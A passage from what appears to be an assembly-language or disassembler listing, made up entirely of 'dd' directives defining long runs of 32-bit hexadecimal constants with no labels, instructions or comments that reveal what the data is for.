		dd 52028CE8h, 2D5C70FEh, 10B7199Dh, 4FA9Ah, 12F2C73Dh
		dd 8A250576h, 390BC804h, 7D40ABB8h, 0E7E6F793h,	3459CC60h
		dd 0C4B75883h, 80235A21h, 0D96ED23h, 0D624E000h, 0FB90E74Eh
		dd 8C0C9805h, 11E176FCh, 88C56862h, 0E9A9803Ah,	0D5EA8CECh
		dd 2300BB98h, 66AA5A53h, 18D3CBE5h, 79E7BE65h, 700749A0h
		dd 671C913Fh, 3AC44FC3h, 11B02C18h, 5CE1AE71h, 0E0250306h
		dd 79C1DD97h, 80B4013Fh, 3E71F130h, 17EEC0C2h, 0CAC0A600h
		dd 36F2918Bh, 42400B8h,	0FBA3D5E8h, 6418AD7Eh, 55540750h
		dd 6C1ED4D6h, 0E71D6E23h, 75687484h, 6F213862h,	8520ECEFh
		dd 4D50B07Ch, 28E8FC6Ch, 4D23BE42h, 0AE20105Ah,	9D0F8C19h
		dd 329FD5F7h, 0E716060h, 1BB83B52h, 0A922C3h, 620E797Ah
		dd 0D88D38D2h, 44243124h, 58E04341h, 60872460h,	0D9EB3136h
		dd 700E132h, 53DACBD2h,	9844354h, 0DD0E250Ah, 4B407491h
		dd 0E7968304h, 631024AEh, 81AF8A18h, 1EE30110h,	308215F1h
		dd 0FF484FDCh, 5A871870h, 317EE021h, 0A48E80Dh,	6D844E9h
		dd 28A7FFF8h, 66F44A43h, 0E183850h, 0B5114887h,	72FD05DAh
		dd 0AB44A932h, 6871F113h, 0D424B597h, 612B7844h, 0DA8518AFh
		dd 0D2398609h, 0E51586Ah, 392BBF31h, 501307E0h,	9301ECE0h
		dd 0AFF7B40Bh, 243536AEh, 3EF0AC08h, 6544167Ch,	0BA8ABC01h
		dd 0EC293AE6h, 50A1C8D3h, 0B5C92DBh, 0C287E954h, 4E6CA8Fh
		dd 0FF071980h, 0E1B01A48h, 0E6493980h, 93A90035h, 0AF634042h
		dd 2C00E8B3h, 24ED9404h, 6354578h, 43F15C89h, 3D000888h
		dd 0F8BD7974h, 0E0E6CECBh, 0E84F2BA1h, 0B8E99B4Ch, 4CD090E8h
		dd 520E0A4h, 6FED3191h,	200FF548h, 0F46436B2h, 54589F0h
		dd 24AC40AEh, 0A4A10C59h, 0A96AD907h, 0BCB3F6A5h, 41200299h
		dd 0A2B858F7h, 6544E008h, 0A0DBE483h, 0C3D39029h, 0E96C3618h
		dd 0A97821AEh, 0C170EC48h, 92352AF9h, 0AF868847h, 0F6AB0E48h
		dd 0EEE3AA48h, 71094B56h, 8773437Eh, 712C4F68h,	0D91F0415h
		dd 0C0115B95h, 0BB57AFB8h, 0FC304389h, 0BDEC053Eh, 82E56EEEh
		dd 9C886FC7h, 36A60558h, 5C94C3F6h, 0FD359119h,	0DF106410h
		dd 662C9DECh, 5709D36Dh, 87948339h, 1621013Fh, 31E98310h
		dd 0A74222Ah, 0BCFDF763h, 79EE8039h, 0F49529BEh, 83F4904h
		dd 700243Ch, 0ECBF751Dh, 7900F617h, 0F5216558h,	0CE6A4FCh
		dd 8150A0F7h, 0FD00C431h, 4F6AC71h, 20F1670h, 19895611h
		dd 0D864963Fh, 0FD9E4700h, 0F57F0EC5h, 7EE70645h, 21CD2B31h
		dd 1C90A579h, 598A5032h, 0C888F44h, 24E11D2h, 716789FEh
		dd 0C41AC18h, 6BD44C98h, 35A87348h, 606051C4h, 92372AB1h
		dd 6C6804B8h, 0C1D1522Eh, 8236D29Ch, 57915C19h,	22D0A0CBh
		dd 903C7459h, 81650020h, 4E39D067h, 0BCEC3668h,	432B82FAh
		dd 5313143Bh, 302ACC0Ah, 3E34A13Ah, 6A60C13h, 0A93757D8h
		dd 75667D16h, 0E17EB800h, 2E815B5h, 98E60E18h, 0D0C457C8h
		dd 0A0D99F00h, 0AA1BEE3Ah, 24D3FE85h, 4404502Eh, 2F68C475h
		dd 0D9CF0428h, 0E2F3B48h, 269E6EEAh, 0EA592565h, 0AD8730E7h
		dd 0C8541431h, 0A5BD4218h, 6BAB61h, 2B5DAD95h, 9CA804EFh
		dd 8C101C91h, 53AC74C0h, 0DB28EDE7h, 0AF2198B0h, 0AA940870h
		dd 18A71832h, 4384CD54h, 89C0517Fh, 94B65518h, 34FC30E0h
		dd 0A0EF5079h, 9C04C400h, 0FF2E7691h, 0AC664CCBh, 2C2CA428h
		dd 3EA85FF6h, 1BD8F068h, 0E7C04040h, 0D09524DAh, 20221A4Ah
		dd 0D860806Fh, 418AA30Eh, 38434204h, 0BAC2A0D7h, 205C6063h
		dd 0E91096DFh, 4687A80h, 820D93CFh, 5FACC0B0h, 284C7D3Fh
		dd 593605E1h, 78807F79h
		dd 48FC0C65h, 0DE2E3C8Ch, 36DB028Fh, 44C1AF7Eh,	7989981Fh
		dd 31666D51h, 0EC31EFBCh, 0C0DBDC50h, 3AB780C1h, 50704A79h
		dd 60FBF85Ch, 294118C1h, 7898A219h, 7C5D6BE8h, 17ED0040h
		dd 940FA82Ah, 3F1A29C3h, 97D18C94h, 7F3CC230h, 9DE11AB7h
		dd 0F7B48210h, 1180C51h, 98068D40h, 0D9412084h,	0EB2D9614h
		dd 627B0CD0h, 0E87E87Eh, 0B0D853BBh, 0C08FE746h, 6D57961Dh
		dd 907C9F43h, 0CF29217Bh, 0BF99A508h, 798D1142h, 3C5CE322h
		dd 5237038Bh, 0E0A64546h, 897E61h, 35049039h, 0FD6B404Fh
		dd 0D3004A70h, 0D756F6DBh, 8726C8h, 99D2F847h, 0CD903DB5h
		dd 352C3Eh, 0FBB76301h,	346546Fh, 0B5B8C91Ah, 93B8F0FDh
		dd 0A600ED2Ch, 0F3BA391h, 0CB2BA2Ah, 0A0C1EE5Fh, 6B009829h
		dd 3A6D2C94h, 33727Bh, 309B8BDCh, 95DFF781h, 0FEB3E700h
		dd 2B10FFAEh, 0A6A90069h, 0C9922DCAh, 0C7008018h, 0A5D4FC3Ah
		dd 9C3498h, 0F00EEBBEh,	0B157E124h, 0D6521B1Eh,	0C026738Eh
		dd 0B209EACAh, 0B68C0039h, 0D13A4819h, 0A00BA3D3h, 0A05BA6B4h
		dd 63794EF8h, 0E8C6004Ch, 16E99974h, 4F00E46Ah,	0B0B80686h
		dd 18796D0h, 0E0119F35h, 0EC085972h, 7800C9C2h,	2F6EFFF1h
		dd 226BD0h, 0DE18435Eh,	68EB2752h, 0F2034B04h, 87C06328h
		dd 0C8FE71h, 0EAA114B4h, 732F8964h, 0A00E292Ah,	165BB0Ah
		dd 80009CB3h, 2FF3501Ch, 773B2AD8h, 0C7DD00ACh,	46035723h
		dd 0E403CB28h, 0ADC5826Eh, 1F0D9806h, 31700EBCh, 0C940D80Bh
		dd 2BA96B89h, 0E5E3F300h, 3A4D4A2Dh, 0EFC7010Fh, 0A4FDBB49h
		dd 853FD8F4h, 36830700h, 3D44EE3h, 7D0601D1h, 0B63C461h
		dd 605BF53Fh, 343B96B0h, 21A280FBh, 5D9F8D85h, 4F410119h
		dd 0DEAFBD5Eh, 564430ACh, 0D828F01Dh, 0E130F3CCh, 8E753FC7h
		dd 4614CC00h, 1794746Eh, 0B73FD000h, 0ED9C648Bh, 6F5100FDh
		dd 0CF126508h, 1618449Eh, 5E40ECB6h, 80300022h,	3BC7BABBh
		dd 6A5C8E4Fh, 124D023Bh, 8054C4D3h, 587E0FF3h, 665E00ACh
		dd 0B0B4D00Dh, 0B303F18Eh, 881FAE71h, 0D9290231h, 65541315h
		dd 0C441F6E1h, 7C73D6A4h, 0AFDEAE00h, 61A5A7Eh,	0A63A006Eh
		dd 4EB6EE60h, 0F61F1E6Bh, 5455BDAh, 0A500D52Dh,	0C3EFD8ADh
		dd 76630353h, 367328AFh, 2AE46903h, 88320A18h, 0F32392h
		dd 6530D5BFh, 0A1598D4Fh, 2618464Ch, 791E10ADh,	14519B80h
		dd 617BD2Ah, 29E46401h,	0CE001E85h, 8C4F841Fh, 0E4CFC41Eh
		dd 628100DFh, 0B330EFF5h, 0B5009329h, 0F0DEC1C5h, 718CE8Ch
		dd 1935E727h, 0E1A51052h, 0BA38487Ah, 2EDB0730h, 0E4DF7EBCh
		dd 34900EEDh, 90C31777h, 0FC970044h, 0D5F735F1h, 850164F0h
		dd 0C507FE25h, 0C0604584h, 0C6CE006Dh, 0D67E17EBh, 6E020181h
		dd 4CB04D6Bh, 0B1D0E82Eh, 9B340015h, 0F48DE1CBh, 5B003C3Bh
		dd 4708B3B2h, 3F12476h,	9AFD6517h, 84AF3DE9h, 0BF9880D8h
		dd 4A07D488h, 661AEF84h, 459C3FB0h, 35780921h, 7A87A12Bh
		dd 7F6AF0F2h, 0C909CD77h, 804ACAC6h, 1965DABCh,	0F37158DFh
		dd 6FCB3800h, 0E18DDD88h, 4A3AFE00h, 1C6405EDh,	86E00D4h
		dd 3BCAC1C7h, 21008AA5h, 2CF9A666h, 3BA1F333h, 0E280DA2Ah
		dd 505E3820h, 56015A27h, 60229D7Bh, 90EF70B3h, 96E3658Eh
		dd 0CA5D0454h, 1984D099h, 0AD717A72h, 0FD62AA00h, 6A48EDC2h
		dd 0AFC45052h, 709872DAh, 0ADCA00B3h, 31BD9456h, 59000AE0h
		dd 90B64548h, 0FDBC3Eh,	0CFD4E57Fh, 0F726BBC8h,	6F23AF00h
		dd 5924B18Eh, 0A0C2007Dh, 4EDCDA66h, 2E77BE38h,	0FEC8BB09h
		dd 0D2D0609Dh, 0C340061h, 8B24166Ah, 3C7C5AC7h,	0F7397F00h
		dd 2263574Dh, 75FF58D3h, 4F5F0400h, 54BDAFBBh, 34285Dh
		dd 166EE6Ch, 0AC8809h, 0AEB1D3B7h, 0F3E16999h, 11BE0C04h
		dd 64800D9Bh, 5462AE2h,	775A6815h, 0A48A80D6h, 0CD00C4E9h
		dd 4E651C5Fh, 0B076D0F6h, 84BF3A30h, 59C1FE84h,	53489127h
		dd 805421DCh, 1BA70A31h, 0FEF25Bh, 1A6A4F89h, 57D13EDEh
		dd 90823A40h, 7DC81E3Eh, 1092000Eh, 236902F1h, 4E0A661Ch
		dd 0A46B7101h, 309E39CCh, 2A5A0046h, 75AB50EEh,	9DC8AC00h
		dd 0C5FCD5CFh, 18A93D9Ch, 0FEA8313h, 31801A44h,	5C339E71h
		dd 5400EFECh, 9FD6A84Ah, 0A0DAE804h, 982370D4h,	0D7C0009Ah
		dd 0DF18DCF3h, 0C12CE1F0h, 0B100885Ch, 90C98C41h, 21C22726h
		dd 0B6310075h, 71F6D8h,	0E9A6531Ch, 47ABAA2Ah, 52C66B00h
		dd 79957E38h, 98C10056h, 1E5DDF2h, 550EE059h, 806B28B4h
		dd 0B687F94Bh, 0B0757050h, 0D910300Eh, 84023938h, 2B887807h
		dd 4040614Fh, 5E1A94h, 0B48D27B6h, 0BB8FF103h, 0A90CA200h
		dd 291B7C07h, 5777006Ch, 75C08974h, 11EC1A1Dh, 0FF98B400h
		dd 0BFD56E02h, 0A670482h, 905AC265h, 27200D34h,	0F6487600h
		dd 0E1B79BD8h, 10CD0B8Fh, 180B9F3h, 0CB21EB08h,	0D8F44913h
		dd 8B41A81Ch, 0B5D6B6ABh, 1EE2824h, 6322640Ah, 30E6232Ch
		dd 0ED118E64h, 0BBC0E202h, 0F15360E4h, 9B407C00h, 5D80E0A9h
		dd 80D8B457h, 906003B8h, 630BC155h, 200D7E2Dh, 1FFE8DB8h
		dd 0B0B92539h, 36AFA406h, 10A448h, 0FDE1682Bh, 2CE24E3Dh
		dd 78B46ADh, 7079D574h,	0C5A76794h, 1BBFEF00h, 0BE1F3A5Fh
		dd 0A438EB06h, 0C160C307h, 0ACB3B5F1h, 2B57006Dh, 0AE8A14C9h
		dd 629E0144h, 78F15E26h, 525480DDh, 2AD7AC56h, 553707CFh
		dd 0D0A144A9h, 7BE0C580h, 58862D30h, 0BABB8FCh,	0CB3D30AFh
		dd 0D87B6048h, 6720DE63h, 0A283E7A5h, 85112099h, 78D28122h
		dd 764C2535h, 0F60C480Fh, 28C0665Ah, 173C254Eh,	5C94C2h
		dd 1E9C8D5Ch, 977B4CD0h, 0B1A43900h, 0D22FDB68h, 0C578B7h
		dd 6D66C41Ah, 0CE5C7C9Ch, 4CECBF28h, 3BEE4410h,	0B3B90378h
		dd 5A424DAFh, 0EBC4F6A0h, 4387CF00h, 76B0D858h,	16FD07D0h
		dd 3AE17Ch, 558F8660h, 0DD8E4400h, 0D168F818h, 3E3D72EAh
		dd 0BEAD8066h, 0DC04C028h, 0A1C0FC31h, 0C878BD87h, 0A5B8D809h
		dd 9A33B840h, 826B8B8Ah, 0E5A1BB8h, 29A7D546h, 90113742h
		dd 2F2273h, 84EAC1C8h, 31F8FB9Dh, 0D82E302Ch, 2AB7CC80h
		dd 70EEFD9Ah, 8F36005Fh, 0B3F23A98h, 0A3006A86h, 0D607BBE3h
		dd 2339190h, 192AB8F9h,	9C60A8F5h, 83AE143h, 0E5C19C62h
		dd 0DA10803Ch, 92D823E8h, 0BC6D002Ch, 0F062EE6Eh, 63001F13h
		dd 76D66B0Ch, 3D1BAC17h, 0B4958499h, 247B8861h,	80804A39h
		dd 0E985BD38h, 0BE00F5A1h, 9E6E7B15h, 0C37F4356h, 32082F20h
		dd 0D6B09AF0h, 28649300h, 73D0674Bh, 0B7E00022h, 72D36103h
		dd 0FC00581Eh, 0F257D47Fh, 1E209B4Fh, 9C7DCF6Dh, 456300AFh
		dd 51860BB4h, 0EC010F7Dh, 4C136F9h, 0D451DE6Bh,	0AC62C8F2h
		dd 0C22A0079h, 0EF664963h, 0D90003B6h, 0F1E0B98Eh, 0A44B1Eh
		dd 0E2702A1h, 0F99BAFB8h, 0ECD3DB00h, 0A3C46AF7h, 5F8A00E7h
		dd 3F390FBDh, 66035415h, 6AEDAC86h, 0E23097E5h,	0E847E6FEh
		dd 0B0E7008Bh, 0C4CBD53Ah, 58005B8Eh, 160F3C81h, 9CAD113h
		dd 8F3BE5FAh, 3213B17Ch, 0D4927C05h, 34893800h,	0C5A57Dh
		dd 0D3297EE4h, 0D4C7F081h, 60690504h, 76C0D940h, 5C92FB73h
		dd 271CC4E5h, 0CBC4C16Dh, 704F453Ch, 4E0B16Ch, 374CEC00h
		dd 8C600CAFh, 5C142643h, 0D1748074h, 0E68589A2h, 902FF716h
		dd 0EDC1A440h, 2DACDAh,	0DF013564h, 0A1148CB7h,	0D074913Dh
		dd 2909C3BCh, 0D06B98h,	0F76E5F27h, 8B1D00C7h, 0C3657295h
		dd 46007AA3h, 0DB494A81h
		dd 14021029h, 0D0CE6DB7h, 4BF638h, 0B8F579A0h, 7217DEB1h
		dd 0EC20F79Bh, 7BEFF70h, 0F879C65Dh, 0C930F09Ah, 5F77216Ah
		dd 76265700h, 0B77B93F7h, 45F139EAh, 80EB2500h,	0D0E86A03h
		dd 93009494h, 0E6926DD3h, 0E4164D76h, 4FBC770Fh, 0F14633A1h
		dd 6DD86099h, 6E423100h, 0ACFC902h, 18C46179h, 40B4E220h
		dd 23C8E88Ch, 25EE6003h, 0E88FB885h, 60982815h,	0E00F1978h
		dd 3D00B567h, 0EC6137FFh, 88E309h, 0BC8CCF5Bh, 0D6D06662h
		dd 2347E800h, 1181425Fh, 0C6B800C5h, 6246247Eh,	0FD757C4Bh
		dd 7129C100h, 0F3AF08ECh, 0D3E6CCh, 80855DD6h, 0B59A0C35h
		dd 5B3B2BF2h, 9D16851Eh, 9AA7559h, 2470B96Ah, 2600AC74h
		dd 34D64248h, 7212F6h, 0A0A9D96Eh, 0D1FE8EB3h, 5C4D5A14h
		dd 86EC00FEh, 0B6112766h, 2508E216h, 0E0A429E3h, 0AB30A01Ch
		dd 7F002498h, 0F9633644h, 505E8AD1h, 0DAACB1h, 0EAFCCCB2h
		dd 50FF3C68h, 0A212407Ch, 5C80A755h, 0F04204h, 6CC29059h
		dd 67702E0Ch, 184CDF79h, 4007600h, 47484C3Eh, 0EE84A8h
		dd 9DE5DB1Bh, 0E99AC63Bh, 9234900h, 0D586E659h,	0D4571D6Bh
		dd 0A5ED0063h, 998AFC82h, 51770F0Eh, 5EE420D8h,	51EA035h
		dd 68156995h, 3A968146h, 474AE045h, 9158F100h, 24022948h
		dd 12430051h, 77F6B9ECh, 23019CFEh, 0D33F2C50h,	0F840A3E5h
		dd 4DB68Eh, 32735629h, 527A1139h, 0A97DC328h, 0EE958C30h
		dd 3CC01F0Fh, 8E12B53h,	434BA5BFh, 4FC8AB95h, 801FD620h
		dd 0A3C076C1h, 926FC416h, 0C9500091h, 230EA929h, 0FB00ACBFh
		dd 0D0B1C271h, 1E2CE179h, 0C7F00325h, 803033F1h, 0C8CE0EA5h
		dd 7FADC539h, 0F2785507h, 7E66D39Ch, 0E8A40098h, 0EFD7FC37h
		dd 0CC000BCBh, 7C1C9A36h, 749B3Ah, 0AF7D4935h, 0BCDB19B6h
		dd 1047FC30h, 0E686077h, 9FA4B02Fh, 0D534F7E0h,	0EC002E78h
		dd 15BA8B28h, 91EDEAh, 87DFE986h, 0AAE51624h, 95CC6D0Bh
		dd 69DD00F6h, 255390h, 72D7F486h, 6E5D1EFCh, 6F4F6500h
		dd 0A44DB1C5h, 0C0943CCAh, 31813380h, 867D139Dh, 0E1000BE2h
		dd 2F57A863h, 3B7BFB50h, 0A1805A40h, 5D323766h,	345903DFh
		dd 49150ED0h, 0DC05D2BBh, 0DC909033h, 3B20378h,	41FA224Ch
		dd 2016C9F6h, 5200FB30h, 520AC5CCh, 189B60A5h, 0D4758AE0h
		dd 2D38261Eh, 34626004h, 743408F1h, 72420319h, 43B79B49h
		dd 0B0F0D9E8h, 8ABAF700h, 1DA748C4h, 2AB200A5h,	96C3D327h
		dd 0B982BEAh, 0F740FA1Dh, 4755DB87h, 0A621CD70h, 1613F60Dh
		dd 505AFBh, 377D624Eh, 8873EAA1h, 8228B400h, 0B55FE4FDh
		dd 0FBBC3CC6h, 0DC9C80CBh, 910096BDh, 764D7F1h,	3F9E8203h
		dd 0A33ADA69h, 0AE26E8Fh, 17006CABh, 0F7F6973Ch, 0B400284Bh
		dd 55397451h, 0EDAF019Dh, 0E1059E94h, 4FF0209Ch, 0D244F400h
		dd 7BFEEA2h, 926A006Bh,	0F3350A85h, 8770DBDEh, 8E78113Ch
		dd 0C04F2BCCh, 82E90169h, 527094h, 45552679h, 569CA15Eh
		dd 7D636402h, 8E668FD1h, 0BCBDC09Fh, 4F982521h,	0C8003B40h
		dd 99276760h, 38F4145Ah, 936CD200h, 15F110E5h, 704A006Ah
		dd 0EEC5DE0Ah, 9E033680h, 176F0752h, 0AD06E8DAh, 7CE90044h
		dd 0D75FC861h, 0EF1C4742h, 36C78256h, 400B2EEDh, 301E406Ch
		dd 69D9EB05h, 771DCB35h, 7B043D68h, 0B4A3D750h,	3CD96C11h
		dd 179D008Dh, 0EA065E32h, 75F800B7h, 0E4D64A30h, 36FC3D8Bh
		dd 22414020h, 87F99D45h, 4478E2D9h, 0BB209CB0h,	377481h
		dd 69BFE19Ah, 9799C1DBh, 8CB1E500h, 0FD2E61CBh,	1C494ABh
		dd 0BF8B5C79h, 4E08E9h,	0C0283C2Bh, 8F96E545h, 2E43A03Eh
		dd 40000961h, 0C6020D0Ch, 0C8D51483h, 0C212CE5Bh, 21B88862h
		dd 787D5722h, 35907Fh, 855ACECBh, 99455824h, 2F122AE8h
		dd 0A097FFh, 0B0664B89h, 271F4AB0h, 4106A6C5h, 249B9BDh
		dd 323D5554h, 5480E920h, 8E249887h, 651CB6F8h, 0C50745DFh
		dd 0CB32670Bh, 9D645CB7h, 9CC7002Dh, 0C2E0BC42h, 541B01Ch
		dd 169F0870h, 0A5430972h, 406888C3h, 0DD0003DEh, 4489A38Ch
		dd 57E980h, 90070BABh, 48012ED8h, 4027637Bh, 7CF06896h
		dd 3FC9001Ah, 543D43A5h, 0E2EC1B74h, 72758D00h,	0B7E55DFh
		dd 0A4150077h, 308AF71Fh, 5C018457h, 0EC24D128h, 59CCBFD8h
		dd 54DC07F1h, 8E1879h, 5F75864Dh, 0EAA4A306h, 371D296h
		dd 52E28058h, 4E0F80Ah,	8E0F2AD0h, 8328596Ah, 0B0D30F1Eh
		dd 6F50E7BDh, 2D00C8EBh, 20B76D2h, 6DF53Eh, 3063C7B8h
		dd 4CAC51h, 0FA1E37D5h,	0DF06A420h, 97C04F00h, 7079AFE2h
		dd 0BF823D66h, 4411F5B0h, 2404A1DAh, 5C0646Bh, 0D23C60ADh
		dd 64C02CA5h, 2F06076Fh, 0D83F588Bh, 4BE20EDCh,	61E03E39h
		dd 2AD29AB5h, 0C9AADE00h, 9F3C7F1Ah, 13F68Bh, 3275497Eh
		dd 57EEDACBh, 957A5E00h, 7C856017h, 8EB56C46h, 5A037630h
		dd 1DDBA763h, 0F871CED6h, 0F504A52Eh, 0B9E1FE80h, 60C267C1h
		dd 5D031839h, 0DD01347Dh, 0CE1D546Fh, 98F81659h, 67A9004Ah
		dd 2E92AA31h, 7C64FF02h, 9021C829h, 9CE51397h, 487ACF44h
		dd 74ED42BCh, 7122D924h, 94089011h, 3CCD5184h, 448D4F3h
		dd 25709942h, 13140821h, 221CF842h, 1524AB35h, 128CF121h
		dd 0FD5710ECh, 84C94940h, 33179010h, 223C4028h,	0BD42037Bh
		dd 2964473Eh, 0E4A42334h, 46AB5144h, 517985BEh,	0FFC51428h
		dd 86057990h, 44298250h, 4701B11Ch, 9FEB3831h, 0E5F98D0Bh
		dd 0FB3CFC0h, 0E4354C3Ch, 1845580h, 0BEF4A7C6h,	0C162000h
		dd 0ED05D90Fh, 0F58D006Bh, 1D715732h, 85002DAEh, 7EABE9Eh
		dd 2CF15689h, 0F84D38Bh, 0B2C03BAAh, 8FDC8CAh, 2500C7E2h
		dd 0DD89C42Ah, 71A0FFh,	0E8DC6E9h, 0B31F502Bh, 0CCC75900h
		dd 0C252A45Eh, 0D9831EB8h, 0F45FC0A8h, 769BDAC4h, 82973Fh
		dd 748EF87Fh, 9C816h, 4B125BC0h, 6570D1A3h, 0C3557901h
		dd 1B5A0DA5h, 1445824h,	5B194AFCh, 9FAB084Bh, 0BE807A78h
		dd 0CEE4A89Bh, 0D0F30090h, 0E8AD291Ch, 3B263F2Bh, 3D8014A7h
		dd 0A433D6DAh, 3251D4Bh, 0BF1D0098h, 99C4C092h,	0E71B500h
		dd 7D5851D6h, 6DEA0090h, 8A5B5070h, 0D703D8FAh,	2F44BDAAh
		dd 0ECC5886Bh, 22E41CA1h, 7CB70081h, 69939702h,	0E02CFE00h
		dd 0D3A179B5h, 9A7A00E2h, 7DF81657h, 8007771h, 8D017CF5h
		dd 7C4C8A1Dh, 36091F94h, 0DCB0F75h, 7CC8C03Ch, 2634919Ch
		dd 0B2B37106h, 0F0D53Ch, 15785E1Ch, 49F87EC6h, 0DE01E071h
		dd 43C3D16Bh, 5F60D07Fh, 1FE50748h, 0E402F3h, 2B827EBEh
		dd 5650CF00h, 0DD75FA83h, 0CA961E9Ch, 0E116C1E5h, 435FB40Ah
		dd 70906085h, 0C80003DDh, 8723E8E4h, 50F5D309h,	0F1F2A402h
		dd 0E02BC880h, 261DC64Ah, 0F4103901h, 24748C84h, 0C39CF0h
		dd 0FCE785C1h, 0CD55E8FEh, 46994E00h, 354DABA6h, 320701F4h
		dd 0C4EDEF5Dh, 4740209Ch, 0D316C900h, 185B4AFEh, 3FAE7E49h
		dd 8F9ECBECh, 0A6DCC1EAh, 0FCEE1EF1h, 8201A298h, 3C853AE6h
		dd 2330D06Ch, 29A1073Dh, 41D308EBh, 20B31110h, 15009860h
		dd 392C7B73h, 50E8E9FCh, 45BA8AAh, 883A2029h, 0D42080E5h
		dd 0E000BFB3h, 1CAA25BEh, 245972D5h, 1C501099h,	9909304h
		dd 9410D7A0h, 0AA02CE4Ah, 0C2E261BCh, 859848FCh, 65920795h
		dd 3937241Fh, 997A4500h, 5500A39Fh, 264D0D96h, 53752Ah
		dd 872491A6h, 0D0CAF9F2h, 0B121300h, 968ED1FFh,	157D0027h
		dd 3C063B2Ah, 0CF0390AFh
		dd 0E2C83E48h, 419EA0A8h, 0E04E039h, 6254C2F9h,	0ED93FD60h
		dd 0DC00F836h, 462D0526h, 0B1D41Eh, 751F1C9Ch, 62CA15C4h
		dd 65063601h, 76C39AD1h, 482107F7h, 72B4DAh, 61B28016h
		dd 5824B970h, 3AC4B0h, 0BB8E6723h, 713398F1h, 0E5AF03EAh
		dd 895AC643h, 398AFB98h, 80931E3Fh, 0C5F84EF0h,	3689F22h
		dd 0F3015D97h, 0F7A8F5B0h, 6F398AD8h, 7C358006h, 4CEB1DD9h
		dd 9E380029h, 47DDF04Fh, 6500E360h, 0C38B50E2h,	262D9F20h
		dd 13BFFCh, 9B64244Fh, 0C71D3297h, 0C0860F0Eh, 70C354h
		dd 0E3B73B1Fh, 30518844h, 14F70903h, 0B852ED6Ah, 3D757464h
		dd 720338A3h, 0F20D6002h, 0E004BDA9h, 0A013762h, 1C1E3CF9h
		dd 13F4702Bh, 6AE00F9Dh, 3BA00DDCh, 7A954ED0h, 0C7330901h
		dd 0C2229BAAh, 14A3DCh,	4C251B26h, 3DF39940h, 9305E600h
		dd 887CD5A6h, 0F09E0014h, 0C9B30A51h, 47176B8Ah, 0BE00C73Ah
		dd 0A945894Ah, 0FBC101E3h, 99717AACh, 3900EFD8h, 0D6C6F50Bh
		dd 97B5ABh, 0CD15175Bh,	7A9C45EAh, 874A9B0Bh, 0E4E8003Dh
		dd 3F0DEC65h, 880B175h,	66138B6Fh, 0DF1268DDh, 7F0E7648h
		dd 0A26B87FAh, 90B0C08Eh, 28130A5h, 62FCD840h, 38C03DC6h
		dd 2F3C3F07h, 3B98BD71h, 0A42726D9h, 8C2AE983h,	74C0B467h
		dd 2DF221h, 0AF261B24h,	0E9BA4A0Ah, 0A7D2B912h,	0D3C6E600h
		dd 557827h, 53913350h, 0DC9EAB59h, 661C4001h, 9F57DF32h
		dd 7FF589C0h, 731312ADh, 23CA008Fh, 15F00B47h, 0BD1ED6E6h
		dd 0C1C0DBC0h, 763D3ECAh, 6BEE3A2Eh, 8D16F400h,	1287E64Ah
		dd 8B61830h, 0EEED01h, 74BB5FABh, 0BEFE8152h, 1E3D03E6h
		dd 43E2804Ah, 0BA7F4EA4h, 0C42E07B1h, 0E064C7A5h, 0BBD83776h
		dd 0B8771E02h, 80AEC6F6h, 6CF4FA8Bh, 26A20334h,	27108E35h
		dd 4DD29C0h, 217F5700h,	39F94C94h, 0C6E40F55h, 0D560A30Eh
		dd 185D3C77h, 1A26A898h, 8780A010h, 0AE25DDD3h,	1BC80041h
		dd 0CD0CB41Dh, 0DB007D57h, 354F8DE9h, 3E58C6h, 2E319705h
		dd 9DA5D3CEh, 899F9B1Fh, 4D4617C2h, 0FFA860A2h,	54DE4D21h
		dd 0F289E63Bh, 44843B92h, 5F63800Ah, 700372Eh, 0D616291Dh
		dd 32B2Ah, 0DADE6C7Fh, 43063540h, 0DC0FCE72h, 0A09F09F1h
		dd 0CB49891Ch, 275D0019h, 0C8CE1098h, 8500B8CCh, 38CEDFAh
		dd 0BA9B1Dh, 8E306263h,	0A80CDF50h, 6AF14F03h, 73E0274Dh
		dd 6EB10010h, 77B77F5Ah, 0B9001585h, 0C345CB2Ah, 0FF99E0Ch
		dd 0BAAA9541h, 0FCFABCC0h, 0AFB8794Ch, 8055B539h, 5D40EAE4h
		dd 3C73E1BFh, 3E806A81h, 49FA52B7h, 0C8007FC1h,	0BF02E034h
		dd 16042F77h, 4009ADDCh, 0DDF15130h, 5B1DA9B0h,	10401541h
		dd 38D0468Dh, 66EE3D32h, 0FA89Ch, 42A4AF0Ch, 3602125Ch
		dd 97C86314h, 74B0403Fh, 5E1B0095h, 17F46245h, 430CBB7Fh
		dd 0FA986D76h, 0DE590086h, 721C6749h, 61124FD8h, 0B4406CAFh
		dd 0D79465A8h, 0EE67EACDh, 0A09F124Eh, 0C9B00177h, 102CD6DFh
		dd 11BB81Dh, 0B059844Bh, 2058B35Eh, 0E3E5F6E4h,	23CC0085h
		dd 9C36B5ACh, 31C0A500h, 8C9AFC0Ch, 0D4B200AFh,	61DDE773h
		dd 0C400B3E3h, 488136EBh, 243545EFh, 9CDE9Eh, 8AC8A98Eh
		dd 4D01E63Eh, 0F0B3093Bh, 0A6402B50h, 1DD024h, 9FF6A11Ch
		dd 96D24E7Ch, 0B943F800h, 7FF71B06h, 46280720h,	0C0BD7E17h
		dd 9F0868CAh, 8054FA3Ch, 0B4675842h, 3F91F3ACh,	3280B517h
		dd 0A85605A0h, 2600E4A9h, 0FF312E8Ch, 3CE9EE3Ch, 24991DCBh
		dd 0D09FF084h, 4A001C57h, 0EF564508h, 326F5h, 1F324FA2h
		dd 5036F2E7h, 86D20500h, 14933D6Fh, 0A25E0782h,	0B0915284h
		dd 924A65AFh, 0D695A30Eh, 8ECB3Bh, 1EE91D3Ch, 60161E4Dh
		dd 6663C3BAh, 0F2F05C17h, 0E800E505h, 11A26C7Dh, 0A025E056h
		dd 7B850B8h, 7092C4D2h,	28D56010h, 84906BB4h, 6736B207h
		dd 7E17C973h, 0A77B7FE0h, 0EBC100ACh, 58D8B0A0h, 9D0FF7F6h
		dd 8099DC03h, 2CD52A60h, 6E040031h, 0B4F537EEh,	0F200728Dh
		dd 94E5CE3Dh, 12D86BBEh, 7492F46h, 0D3C03CA4h, 1FE08108h
		dd 3400E465h, 5279D8CBh, 0F4983D64h, 12B900C2h,	84A10423h
		dd 41162156h, 0A503AA01h, 0BA71F227h, 0CE446016h, 0E375005Bh
		dd 0B90FB447h, 0E400E169h, 8068BFFBh, 0BC3050h,	89B61FC9h
		dd 44F2F893h, 42C88207h, 8FA07275h, 0B0678159h,	0DA710438h
